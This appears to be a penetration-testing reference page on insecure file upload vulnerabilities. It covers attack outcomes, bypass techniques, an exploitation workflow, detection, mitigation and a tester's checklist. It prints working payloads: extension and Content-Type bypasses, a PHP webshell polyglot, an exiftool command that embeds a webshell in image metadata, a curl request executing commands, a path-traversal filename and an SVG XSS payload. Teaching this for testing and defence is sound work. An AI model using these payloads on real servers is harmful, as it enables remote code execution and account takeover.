Skip to content

File upload

An insecure file upload lets the attacker place content the server executes, serves or processes dangerously. The star case is uploading a webshell for RCE, but it also yields stored XSS (SVG/HTML), file overwrite and DoS.

RCE (webshell), stored XSS (SVG/HTML served inline), path traversal to overwrite files, later inclusion (LFI), and DoS via size/zip-bomb.

Validation may live at several points and any failing one opens the door: extension, Content-Type, magic bytes, size, and where/how the file is served (inside the webroot, with execution enabled).

# Extension
shell.php.jpg shell.pHp shell.phtml / .php5 / .phar
shell.php%00.jpg (null byte, legacy)
shell.php;.jpg shell.php . (truncation/space)
# Content-Type
Content-Type: image/png (but PHP content)
# Magic bytes / polyglot
GIF89a;<?php system($_GET[c]); ?> (valid image + PHP)
# Path traversal in the name
filename="../../var/www/html/shell.php"
# Config: upload .htaccess making your extension executable
AddType application/x-httpd-php .jpg

Confirm execution by requesting the uploaded file. For SVG/HTML, test stored XSS (SVG with script).

  1. Upload a valid image and read the response: does it return the path? does it rename the file? which extensions get rejected?
  2. Locate the upload directory via recon or ffuf if the app doesn’t give you the path.
  3. Try bypasses one at a time until a webshell lands in the webroot with execution.
  4. Request the file and confirm RCE with a harmless command (id, whoami).
Ventana de terminal
# Polyglot: PHP embedded in a real JPG's metadata (with exiftool)
exiftool -Comment='<?php system($_GET["c"]); ?>' photo.jpg
# upload it with an extension bypass and request it:
curl 'https://victim/uploads/shell.php.jpg?c=id'
<!-- SVG with stored XSS (if the server serves it inline, not as an attachment) -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

Burp (Repeater/Intruder), ffuf to locate the upload directory, and PayloadsAllTheThings lists (Upload Insecure Files).

RCE → pivot; stored XSS → ATO; overwrite → app manipulation.

  • Files with an executable extension or double extension in the uploads directory.
  • The web server executing scripts from uploaded-content paths.

Upload logs, FIM on the uploads directory, EDR for anomalous execution.

  1. Allow-list extensions and types and magic bytes (all three).
  2. Rename to a random name and store outside the webroot (or in a bucket) served with Content-Disposition: attachment and no execution.
  3. Re-encode images (removes polyglots/malicious EXIF); size limits.
  4. Antivirus/scan; never trust the client’s Content-Type.

Delete the file, hunt for webshells/persistence, rotate secrets and fix validation + storage location.

  • Insecure uploads → webshell is a recurring pattern in CMS, forums and panels; the basis of countless CVEs and real compromises.
  • Image processors (e.g. ImageMagick / “ImageTragick” CVE-2016-3714) have allowed RCE when processing uploaded files.

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Extension/Content-Type/magic-byte bypass tested.
  • Uploaded-file execution confirmed (webshell) where applicable.
  • Stored XSS tested with SVG/HTML.
  • Path traversal in the filename tested.
  • Impact documented without harming the system.